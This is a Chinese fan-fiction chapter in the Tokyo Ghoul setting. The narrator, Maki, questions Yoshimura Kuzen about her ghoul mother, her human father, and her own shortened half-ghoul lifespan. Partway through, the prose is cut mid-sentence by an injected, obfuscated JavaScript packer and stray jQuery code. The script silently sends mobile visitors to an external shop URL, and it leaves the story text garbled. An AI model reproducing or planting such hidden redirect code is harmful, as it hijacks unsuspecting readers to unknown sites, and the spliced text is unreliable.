“玲子是怎么晕倒的？”
芳村功善站在昏睡的母亲身旁，声音一如既往地平缓，听不出太多情绪，只是抬头看向我时，那双总是透着包容的眼睛里，带着一丝深沉的询问。
我仰头靠在墙边，脖子上被掐出的红痕在灯光下异常刺目，喉咙里还残留着吞咽困难的不适感。我试着清了清嗓子，发现那只会更疼。
“被我气的。”我平静地回答道。
芳村的目光在我脖子上的痕迹停留了一瞬，又落回母亲苍白的脸上。他没有追问为什么，也没有责备，只是几不可闻地叹了口气。
“她每天有在按时吃药吗？”
“我不知道。”我实话实说，声音里透出一种连自己都听得出来的麻木，“药瓶在妈妈房间里。她总是反锁着门。我进不去，她也不出来。”
这大概是每天最让我无力的事，她发病的时候至少是激烈的，可以用“她病了”来解释。真正让人窒息的，是那些门反锁着的、毫无声响的夜晚。我不知道里面的人是睡着了还是醒着，不知道她是好好躺着，还是坐在床边对着空气说话。我只能每隔一阵悄悄走过去，把耳朵贴在冰冷的门板上听一会儿，听到呼吸声就退回来；没听到，就再站久一点。
芳村功善点了点头，似乎对这个答案并不意外。他双臂小心地穿过母亲的颈后和膝弯，用一种年龄不符的稳健力道将她轻轻抱了起来，“我先送玲子回房间休息。”他说着，转向我，“真晞，能帮我拿条毯子过来吗？再倒一杯温水。”
我默默照做，将她常盖的米色格纹毛毯拿起来的时候，我还能闻到上面残留着的属于她的气息。毛毯摸上去有些旧了，边缘的流苏已经起了毛球，有一角被磨得薄了，透出里面棉絮的纹理。
我抱着毯子站在那里，忽然想起小时候。那时候母亲还会抱我，温柔的把我裹在这条毯子里，在冬夜里一遍一遍地从客厅走到卧室。她说这是“摇船”，能把我摇到梦里的码头。灯光也是这样的昏黄，她的脚步声也是这样的轻。
温水在玻璃杯中微微晃动，映出我此刻没什么表情的脸。水纹把倒影切割成细碎的碎片，又缓缓聚拢回来。反复几次之后，我终于抬起头，走进她的卧室。
母亲的卧室已经一片狼藉，家具被她砸成了满地的碎片，芳村功善在还能入眼的床上将她安置好，他接过毯子，仔细地搭在她的身上，将边缘掖进肩膀两侧的缝隙里。又接过水杯，放在床头柜上那个唯一还立得住的角落。
做完这一切，他并没有立刻离开。而是在床边坐了下来，目光自然而然地落在我身上。
“你的手怎么了？”
他看向我垂在身侧、不自然蜷缩着的手臂上。一道不算浅的伤口正缓缓渗着血，血珠顺着青色的血管从指尖一滴一滴砸在地上，在碎瓷片旁边晕开一小片暗色的圆点。我低头看了一眼，刚才竟然没觉得疼。
“没什么。”我下意识想将手藏到身后，却牵动了伤处。尖锐的疼让我轻轻吸了口气，动作也僵住了，手指半蜷在空中，不知道是该继续藏还是该放弃。。
“别动。”
他制止了我，示意我在旁边那把还没被砸坏的椅子上坐下，自己在我面前半蹲下来，从随身带的包里取出医药箱。
液体触碰到破损皮肤带来细微的刺痛，像被很薄的刀片轻轻划过，每一次触碰都让我下意识地想缩手。芳村功善的手一如既往地稳，自始至终没有丝毫颤抖，从小到大他无数次做过这样的事情——在深夜、在我家的卧室、为一个不是自己孩子的孩子医治怎么都不见好转的身体。
清洗，上药，用干净的纱布覆盖，最后用胶带固定。处理完那道划伤，他的手指又虚虚悬在我红肿的腕骨上方。
“这里，看得到吗？”他抬起眼，担忧地看着我，“可能有点骨裂了，你需要去医院让医生看看。”
我顺着他手指的方向看着手腕那处发烫的隆起。
“嗯。”我应了一声，没有辩解，也没有喊疼。
他等了几秒，见我没有更多表示，便继续手上的动作，用弹力绷带为我临时固定手腕，以减轻移动时的负担。他的手指温热而干燥，绕过我的手腕时，带来一种奇异的、仿佛被短暂支撑住的错觉。
“一个人去过医院吗？记得要挂骨科。”他调整着绷带的松紧，最后一圈绕完之后，他用拇指按住末端，另一只手撕下一截胶带，贴在绷带的收口处，“回家之后要静养，要按时吃药，如果医生说需要复查的话，也一定要记着去。”
我抬起头，目光从他柔和轮廓的白发，移到他沉稳的眼睛上，“芳村叔叔，你能和我一起去吗？”
缠绕绷带的动作顿了一下，他没有立刻回答，也没有看我，只是继续将绷带最后一段妥善固定好，打了一个平整的结。手指在那个结上停留了一秒，轻轻按了按，像是在借着这个动作拖延一点时间。然后他才缓缓直起身，收拾好医药箱，将它放回原处。做完这一切，他转过身面对我，脸上依然是那副温和又悲悯的神情。
“抱歉，真晞，我最近有些忙。”他摇了摇头。
“啊，没关系。”我低下头，看着手腕上包裹整齐的白色绷带，试着活动了一下。“是我忘了，喰种是没办法进到医院去的。”
空气仿佛在瞬间被抽空。
房间里的声音被一层无形的、稠密的寂静包裹住了，像是有人在这个房间里倒满了透明的水，所有的声波都在水面下变得异常模糊。
芳村功善脸上那恒久的、面具般的温和，第一次出现了清晰的裂痕。痛苦的神色迅速掠过他的眼底，又被强行压制下去。
他看着我，眼神已里没有了先前长者对待晚辈的宽容，取而代之的是一种复杂的审视，仿佛第一次真正地看见我。
我静静地看了一会儿母亲即使在昏睡中也依旧紧蹙的眉心。她连在梦里都不得安宁，眉头两道浅浅的竖纹即使睡着了也抹不平。她的一只手从毯子边缘伸出来，手指微微蜷着，像是想要抓住什么。
我转过头，迎上他的目光。
“我试过的，我的血对喰种来说应该很香才对。”我的声音很轻，像薄薄的刀片，划开了房间里伪装的平静，“芳村叔叔，你难道不想吃掉我吗？”
他沉默了很长时间，久到我能听见自己血液流过耳膜的声音，听见窗外极远处隐约传来的夜风声。
最终，他缓缓地、几不可闻地叹息了一声。
“孩子，不要说这样令人难过的话。”
那双看透了太多生死别离的眼睛望着我，里面翻涌着一种我无法理解、也不想去理解的哀伤。我看着他的眼睛，想起来小时候有一次生了很重的病，昏迷了足足一个月的时候才勉强苏醒。我恐惧死亡，更害怕有一天会被死神从爸爸妈妈身边带走，只得像猫仔一样细细地啼哭着，后来芳村叔叔帮我擦干了眼泪，他蹲下来对我说的第一句话也是这个语气——很轻，很慢，像是怕吓到我。
现在我才意识到，也许当时被吓到的人不是我。
房间里安静得可怕，他站起身来，影子像鸟一样笼罩着我。
“是玲子和你说了些什么吗？”
“她什么都没有和我说过。” 我的声音平静的有些过分，“她甚至不知道我很早知道她是喰种了。”
芳村功善的眉头几不可察地蹙起，审视的目光变得更加专注。
“爸爸死掉之后，妈妈把他留下的笔记和资料全都烧掉了。但其实我都偷偷看过，那些器械草图，上面的符号和思路并不是普通生物学。”
我抬起眼，再次看向他，“更何况冰箱里的礼盒冷冻着的也不全是牛肉，光凭这一点，就已经避无可避了。”
芳村功善静静地听着，脸上那种温和的神色彻底褪去了，只剩下一种疲惫的了然。他轻轻呼出一口气，目光投向窗外沉沉的夜色。
“那么真晞，敏锐的孩子。”
他转回视线，平缓地接受了这个既定的事实，“你还有什么想知道的事吗？如果有的话，在你妈妈醒来之前……你都可以问我。”
想知道的事？
我扯了扯嘴角，尝到了唇上一点铁锈的味道。
我想知道的事太多了，多到不知道从哪里开始，即使问了也不确定自己是否真的想听到全部答案。比如父亲为什么会死，他说了什么话，有没有回头。比如我的生命为什么会如此脆弱。比如那个戴黑色帽子的家伙到底是谁？
但这些都不是我现在最想问的，在看到芳村功善脸上疲惫的、坦然的、做好了回答一切准备的神情之后，我最先想问的，是关于一切的起点。
“你是怎么认识我爸爸的？”我问。
芳村功善紧绷的肩膀松弛了一点。
“通过我的妻子。”他回答的很自然，目光似乎穿过了我，落在了早已回不去的年代，“她曾经是一名记者，机缘巧合下认识了你父亲，又介绍给了我。后来，我们就成为了很好的朋友。”
我有些意外。“你有妻子？”
“是的，”芳村功善笑了笑，“她已经去世了。”
“……啊，抱歉。” 我心里掠过歉意，沉默片刻，另一个问题自然而然地浮了上来：“那你有孩子吗？”
这个问题似乎比前一个更让他措手不及。
芳村功善放在膝盖上的手指微微蜷缩了一下，他脸上的神情没有太大变化，依旧是那种温和沉稳的样子，但空气却仿佛在他短暂的沉默中凝滞了那么一瞬。他没有立刻回答，目光垂落，落在母亲盖着的被褥花纹上。
“孩子……”他低声重复了这个词、
我立刻意识到自己越界了，触碰到了别人不愿提及或难以启齿的私域。追问别人的家庭和伤痛并不是礼貌的行为，尤其是在对方刚刚还帮我处理了家中的混乱之后。
“抱歉，我不该多嘴的。”我赶在他可能开口前连忙说道，努力将话题拉回一个相对安全的方向，“你能多告诉我一点我爸爸的事吗？妈妈很少能平静地提起他，我印象里的爸爸……太单调了。”
我低下头，手指无意识地绞着毯子的一角。“他是什么样的人呢？喜欢吃什么？有什么爱好？或者……他和我妈妈以前是怎么相处的？他们会吵架吗？”
芳村功善因为我主动转移话题而松了口气，细微的紧绷感从肩头卸下。他沉吟了片刻，在记忆里仔细翻找可以示人的片段。
“詹尼克口味上倒不算挑剔，但对咖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580501|205098||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
啡很讲究。” 芳村功善的嘴角似乎弯起一个极淡的弧度，“他总说我烘焙的咖啡豆火候恰到好处，尤其是深度烘焙的曼特宁，他说能尝出土壤和木质的厚重感，像他故乡黑森林的气息。” 他顿了一下，“至于爱好……他闲暇时喜欢下棋，国际象棋。棋路和他做人有些像，看似保守稳健，实则暗藏杀机，喜欢布局长远。不过和你妈妈下，他总会输。”
“诶？妈妈会下棋？” 我有些惊讶。母亲在我记忆里从来没有碰过任何棋类，甚至连报纸上的填字游戏都不怎么感兴趣，她总是说“太费脑筋”。
“她不会。” 芳村功善摇了摇头，“她只是坐在他对面。时不时走一步完全不符合规则的棋，像是把王后当马跳，用车走斜线。或者在他思考的时候，突然指着窗外的云问他看那里有什么。你父亲开始时还会纠正，很认真地给她讲解每一步的规则，还亲手画了一张棋盘，在上面标注‘后只能走直线和斜线’‘马只能走L形’。后来……大概觉得输给这样的对手，也挺有意思的。”。”
“他们吵架吗？” 我追问。
“会。” 芳村功善回答得很坦率，“尤其是詹尼克沉浸在他的研究里，几天不回家，或者带回一些让你妈妈感到不安的气息时，玲子会非常生气。但他们吵架很少是为了具体的事，你父亲很木讷，总习惯用他的逻辑和认知去解释世界，去安抚你妈妈，而你的妈妈有非常灵敏的直觉，有时会穿透那些逻辑。他们都在用自己的方式保护对方，但方式截然不同，所以会有激烈的碰撞。不过风暴过后往往是詹尼克先妥协，他会带一束玲子喜欢的花回来，虽然依旧沉默寡言，但那就是他道歉的方式了。”
我安静地听着，脑海中试图拼凑出那些从未属于我的、鲜活的日常画面。沉默在房间里蔓延，窗外的风声似乎又大了些。
“那他……” 我停顿了一下，组织着语言，目光重新聚焦在芳村功善的脸上，不放过他任何细微的表情变化，“他也是喰种吗？”
我停顿了一下，观察着芳村功善的反应。他的脸上依旧没什么表情，但眼神深不见底，像两口古井，映着跳动的灯火，却照不进底。
“为什么这么问？”
“只是好奇而已，”我说，““一个对喰种有着深入了解、甚至可能进行过直接研究的科学家——如此倾心相爱、甚至结合的一方，可能本身就置身于那个世界之中。爸爸他……是不是也是其中之一？”
芳村功善轻轻笑着，摇了摇头。
“詹尼克是货真价实的人类。”
我轻轻地呼出一口气，紧绷的肩膀几不可察地松了一线。在众人认知的世界里，喰种和人类是猎食者与猎物的关系，是不可调和的，是生来就只能互相吞吃的。但这是错误的，他们可以成为朋友，可以相互托付秘密和信任，可以把彼此的死亡挂在心上。可以相爱。可以有一个家。
但紧随而来的，是更深的、更不可思议的疑问。
“人类和喰种……竟然是可以孕育出生命的吗？”
这个认知本身就足以颠覆许多东西，它意味着那条看似不可逾越的鸿沟之下，存在着不为世人所容的交汇。
“是的。”芳村功善看着我，声音低沉而平稳，“但概率极低，低到几乎被视为不可能。而且，这种结合诞下的后代情况也各不相同。”
他停顿了一下，似乎在组织语言，如何用最不刺激的方式陈述事实。“极其罕见的情况下，会诞生所谓‘独眼’的个体，同时具备人类与喰种的特征，力量往往超乎寻常。这样的孩子很少很少，每一个都是一根刺，让人类和喰种两方都觉得不安。”
“而更多的，是像你这样，真晞。”
芳村功善的目光落回我身上，他的眼中带着一种沉重的了然，仿佛早在很久以前就已经看到了我的结局。他知道我的身体状况不是普通意义上的“体弱”，知道我从小的那些异常。在一个又一个我以为自己只是身体不好的夜晚，他都知道。
“外表，生理构造，日常需求，所有一切都与普通人类毫无二致，同样也会在某些方面展现出超乎寻常的天赋。”
他停了一下。灯光在他眼里闪了一下，瞬间被遮住了。
“但这都是有代价的。”
我心头一紧，那些从小如影随形的、无法解释的异常感应，忽然都有了模糊的指向。我几乎是下意识地追问：“代价是什么？虚弱的身体？还是眼睛会出问题？”
芳村功善缓缓地摇了摇头，动作很慢，每一个弧度都承载着难以言说的重量。他的眼神里充满了不忍，但更多的是无法回避事实的严峻。
“比那更根本，真晞。”
“是寿命。”
我眨了眨眼，一时间没理解这个词的全部含义。
“这类孩子，身体的内在平衡异常精妙，也异常脆弱。它足以支撑你们平安度过成长期，像普通人一样生活、学习，在某些领域绽放光彩。但是……”
他停顿了，无数未曾言明的叹息与哀伤轰然塌陷。
“这种平衡，很难长久维持。” 他终于说完了那句话，将我脚下本就摇摇欲坠的世界彻底击碎。
“他们注定……无法活过三十岁。”